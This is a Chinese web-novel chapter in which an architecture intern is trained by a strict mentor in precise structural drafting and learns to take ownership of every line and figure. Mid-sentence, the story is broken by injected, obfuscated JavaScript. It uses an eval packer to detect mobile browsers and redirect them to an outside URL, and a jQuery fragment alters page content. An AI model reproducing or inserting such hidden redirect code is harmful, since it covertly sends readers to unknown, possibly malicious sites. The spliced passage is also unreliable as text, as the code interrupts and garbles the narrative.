六点五十分，林溪站在模型室门口。
钥匙插在锁孔里，转不动——门从里面反锁了。他凑近玻璃窗，晨光斜切进室内，在长工作台上铺开一片模糊的金色。灰尘在光柱里缓慢旋转，像微观的星系。
然后他看见了顾怀瑾。
男人背对着门，站在工作台最深处。白衬衫的袖子挽到手肘，小臂线条随着动作起伏。他手里拿着一把美工刀，正在切割一块雪弗板。刀刃划过板材的声音很轻，却有某种不容置疑的精确感。
一下，又一下。每刀的长度几乎完全相同。
林溪敲了敲门。
顾怀瑾没有回头。“进。”
“门锁着——”
“用点力。”
林溪推门。门开了——锁根本没锁，只是卡住了。这栋上世纪九十年代的老建筑，连门都带着脾气。
模型室比想象中大。三面墙都是顶天立地的架子，塞满了各种比例的模型：住宅区像白色的积木，商业综合体闪着亚克力的冷光，还有一个巨大的、未完成的城市肌理模型，占据了房间中央的地面。
空气里有椴木、PVC胶水和咖啡的味道。
“放下包，过来。”顾怀瑾终于转过身，刀尖点了点工作台。
林溪走过去，发现台上已经摆好了工具：丁字尺、三角板、比例尺、三把不同型号的美工刀，还有一沓A3硫酸纸。一切都像手术器械般排列整齐。
“画什么？”
“你昨天在工地比划的那个。”顾怀瑾从旁边抽出一张皱巴巴的纸巾——上面有用圆珠笔画的结构草图，线条潦草得像心电图，“这个。”
林溪的脸发热。他都不记得自己什么时候画了这个。
“解释一下。”顾怀瑾把纸巾推过来。
“是……三层挑空客厅的支撑方案。”林溪努力让声音平稳，“原设计用了一根中央立柱，我觉得可以改成三角桁架，从两侧承重墙延伸出来。这样空间更通透。”
“为什么？”
“因为那是个养老社区项目。老人需要开阔的视野，柱子会形成视觉遮挡——”
“我不是问设计意图。”顾怀瑾打断他，“我问你为什么选择三角桁架。力学依据是什么？节点怎么处理？用钢量增加多少？施工难度提高多少？”
一连串问题像子弹。
林溪张了张嘴，一个字都答不出来。学生时代的所有设计课，老师都在夸他的创意，从没有人这样追问。
顾怀瑾等了三秒，然后抽出另一张纸。干净的白卡纸，上面已经画好了标准的三角桁架计算图。每个节点都有受力分析，每根杆件都标着截面尺寸。
“你设想的桁架，”他用铅笔尖戳了戳图纸中段，“在这里，第二和第三节点之间，弯矩会超标百分之四十。不需要地震，一场大风就能让它变形。”
林溪盯着那些数字。它们冰冷、绝对，像审判。
“但、但是可以用加强节点——”
“加强节点意味着更粗的杆件，更复杂的连接方式，更高的造价。”顾怀瑾放下铅笔，“而所有这些，只是为了去掉一根本来可以装饰成树干的柱子——我看了原方案，那柱子表面要做木纹处理，顶部有绿植吊篮。你觉得哪个对老人更友好？一根有生命的柱子，还是一堆冰冷的钢材？”
沉默。灰尘继续在晨光里旋转。
“建筑不是雕塑。”顾怀瑾的声音低下来，像在陈述一个基本事实，“它要承载重量，要抵御风雨，要让人安全地活在里面。所有美学都必须建立在这个基础上。否则——”
他拿起美工刀，对准刚才切割的雪弗板模型。
刀尖刺入。
“——就是纸房子。”
模型从中间裂开，断面整齐得残酷。
林溪看着那两半模型。它们曾经是一个精致的别墅概念，有流线型的屋顶和悬挑的露台。现在只是一堆破碎的白色碎片。
“很残忍，对吧？”顾怀瑾把刀放回工具架，“但我宁愿现在撕掉一百个模型，也不愿将来有一栋真实的建筑出事。”
窗外的城市正在苏醒。远处传来早高峰的车流声，模糊得像潮汐。
“您撕过自己的模型吗？”林溪突然问。
顾怀瑾的动作顿了一下。
“很多。”他走到窗边，背对着林溪，“我硕士毕业设计的模型，在答辩前夜被导师从三楼扔下去。他说，‘如果你的设计连坠落都承受不住，怎么承受生活？’”
“那您……”
“我花了一整夜把碎片粘起来。第二天带着满是胶痕的模型去答辩，得了最高分。”他转过身，晨光勾勒出侧脸的轮廓，“不是因为模型漂亮，是因为我重新计算了所有结构——在粘每一块碎片的时候。”
林溪低头看自己画的潦草草图。那些浪漫的线条，在晨光下显得如此幼稚。
“现在，”顾怀瑾走回工作台，“重新画。用尺子，用比例，计算每一个尺寸。我要看到梁的截面、柱的间距、基础的埋深。不是概念，是能拿去施工的图纸。”
“可我只是实习生——”
“在我这里没有‘只是’。”顾怀瑾递给他一支2H铅笔，“画。”
铅笔很硬，在硫酸纸上留下浅灰色的痕迹。林溪第一次如此清晰地感受到“尺度”的存在：毫米、厘米、米。每一个数字都有重量。
他画第一条线时手抖了。第二条稍微稳一点。到第十条，他开始理解为什么顾怀瑾切割板材时每刀都一样长——那不是强迫症，是控制。对材料、对工具、对自己的控制。
时间在铅笔划过纸面的沙沙声中流逝。阳光从窗子的一侧爬到另一侧。
不知过了多久，顾怀瑾的声音在耳边响起：“这里。”
铅笔尖点在图纸的一个节点上。
“角钢连接，螺栓间距不对。规范要求至少五倍螺栓直径，你只留了三倍。”
“我……”
“重画。”
林溪撕掉那张纸。撕纸的声音很响，在安静的模型室里像一声叹息。
第二张。他查了规范手册，标上所有尺寸。画到一半时，顾怀瑾又开口：“混凝土标号。”
“什么？”
“你写了C30，但这是外墙结构柱，地下部分有湿度问题。应该用C35，加防水剂。”
“……规范没写这么细。”
“规范写的是最低标准。”顾怀瑾从书架上抽出一本厚厚的册子，扔到台上，“这是工地记录。去年我们三个项目的地下室墙体出现渗水，都是因为用了C30。后来全部重做。”
林溪翻开册子。里面贴满了照片：裂缝、水渍、发霉的墙皮。每一页都有手写备注，字迹锋利得像刀刻。
“建筑是细节的艺术。”顾怀瑾说，“而魔鬼都在细节里。”
第三张。第四张。废纸篓渐渐满起来。
到第五张时，林溪的手腕开始酸痛，眼睛干涩。但他渐渐摸到某种节奏：先结构，后空间；先安全，后美学；先计算，后想象。
中午十二点，顾怀瑾终于说：“可以了。”
林溪抬起头，才发现窗外已经阳光刺眼。他的图纸上画着一个完整的三层结构体系，密密麻麻的标注像某种密码。
“还差得远，但总算有点像样了。”顾怀瑾拿起图纸，对着光看了一会儿，“知道今天上午你最大的问题是什么吗？”
“细节不够？”
“不是。”他把图纸放回台上，“是你一直在猜我想要什么。”
林溪愣住。
“你改混凝土标号，是因为我说了。你调整螺栓间距，是因为我指出来了。但你有没有想过，如果我不在这里，你会不会主动去查规范？会不会想到地下室要防潮？”
顾怀瑾走到墙边，指着那些模型：“这些项目，每一个都有上百个细节可能出错。我不可能盯着每一个。你要学会自己成为那把尺子。”
林溪看着自己画了五遍的图纸。是的，他在猜。猜导师的喜好，猜正确的答案，像一场永远考不完的试。
“建筑没有标准答案。”顾怀瑾说，“只有合理与不合理，负责与不负责。”
手机震动。顾怀瑾看了一眼，眉头微皱。“下午我要去开会。你把这张图重新整理成电子版，下班前发我。”
“电子版？用CAD？”
“手绘。”
“可现在已经没人用手绘施工图——”
“我要求。”顾怀瑾拿起外套，“手绘会让你慢下来。每一笔都要想清楚，错了就要整张重画。这是训练，不是生产。”
他走到门口，又停下。
“还有，把模型室收拾干净。工具归位，废纸带走，桌面擦到反光。”
“为什么？”
“因为下一次，可能是凌晨三点，我可能需要用这里。”顾怀瑾回头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193474|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看了他一眼，“而我不希望到时候还要先替你收拾战场。”
门关上了。
林溪站在原地，看着满桌狼藉。铅笔屑、纸片、胶水痕迹、那两半破碎的模型。
他叹了口气，开始收拾。
擦桌子时，他在工作台边缘发现一行刻字——很小，藏在阴影里：
“2009.11.7 通宵，方案被否。但明天继续。”
刻痕很深，像是用美工刀反复划了很多遍。旁边还有个模糊的签名，勉强能认出是“顾”字。
林溪用手指抚过那些字。2009年，顾怀瑾应该刚工作不久。原来他也曾在这里通宵，也曾方案被否，也曾需要刻下什么来告诉自己“明天继续”。
收拾完时已经下午一点。林溪坐在干净的台前，铺开新的硫酸纸。
他拿起2H铅笔，这一次，不是为了猜正确答案。
第一笔落下时，他想起祖父的话：“画图如修行。笔尖是你的禅杖，纸是你的蒲团。”
第二笔，他想起工地上的雨，和顾怀瑾蹲在混凝土旁的样子。
第三笔，他想起那本蓝色笔记第三章：“如何与施工队吵架而不被揍”——其实后面还有一句：“前提是你比他们更懂每一毫米”。
阳光缓慢移动，从工作台爬到书架，再爬到墙上那些沉默的模型上。林溪画得很慢，每一根线都屏住呼吸。错了三次，撕了三张纸。
第四张完成时，窗外已是黄昏。
他拍下照片，发给顾怀瑾的邮箱。附言只有两个字：“已发。”
几乎立刻，手机震动。回复更短：“收到。”
林溪靠在椅背上，闭上眼睛。手腕在烧，眼睛在疼，大脑像被掏空后又塞进一团棉花。
但他忽然觉得，这是他有生以来画得最踏实的一张图。不是因为完美，而是因为每一个数字他都理解，每一根线条他都负责。
手机又震。这次是陆深：“听说你今天被顾总特训了？还活着吗？需要急救包吗？（内含咖啡、止疼药、及心灵鸡汤）”
林溪笑了：“活着。但可能需要止疼药。”
“晚上聚餐？苏薇说带你认识下其他同事，安慰你受伤的心灵。”
他想了想，打字：“好。但我要先去个地方。”
黄昏的街道熙熙攘攘。林溪走进一家老式文具店，在货架前停留了很久。
最后他买了一把美工刀。不是最贵的，但刀身很沉，刀刃锁得很紧。
还有一本空白笔记本。深蓝色封面，和顾怀瑾给的那本很像。
回事务所的路上，他在那栋改造中的老楼前停下。工人们已经下班，工地静悄悄的。但三楼那个有问题的模板接缝处，已经架起了新的支撑架。
月光下，那些钢材泛着冷冽的光。
林溪翻开新笔记本，在第一页写下日期。然后，模仿着今天学到的精确，画下那个接缝的剖面图。标注尺寸，计算受力，写下可能的解决方案。
写到第三行时，他停顿了。
然后翻回扉页，在空白处补上一句话：
“从零开始——但这次，尺子在我手里。”
二十三楼的灯大部分暗着，但模型室的灯还亮着。透过玻璃窗，能看见顾怀瑾的身影——他回来了，正站在工作台前，手里拿着林溪下午画的那张手绘图。
他在看。看得很仔细，偶尔用铅笔在边缘写几个字。
林溪没有上去。他转身走向地铁站，手里的美工刀沉甸甸的。
列车进站时，手机亮起。一条新邮件，来自顾怀瑾：
“图纸已阅。问题十七处，见标注。明天七点，继续。”
附件是那张手绘图的扫描件。上面果然用红笔画了很多圈，写满小字。但在图纸右下角，空白处，有一行不属于批注的字：
“比早上那团纸巾好。”
林溪看着那行字，看了很久。
列车启动，隧道里的灯光流过车窗，像一条发光的河。他想起今天撕碎的那些图纸，破碎的模型，还有工作台上那行2009年的刻字。
原来所有坚固的东西，都曾脆弱过。
而所有从零开始的故事，都需要先学会握紧一把尺子——哪怕它最初只是用来衡量自己有多么无知。
他握了握口袋里的美工刀。金属的凉意透过布料，贴着手心。
明天七点。
他会准备好。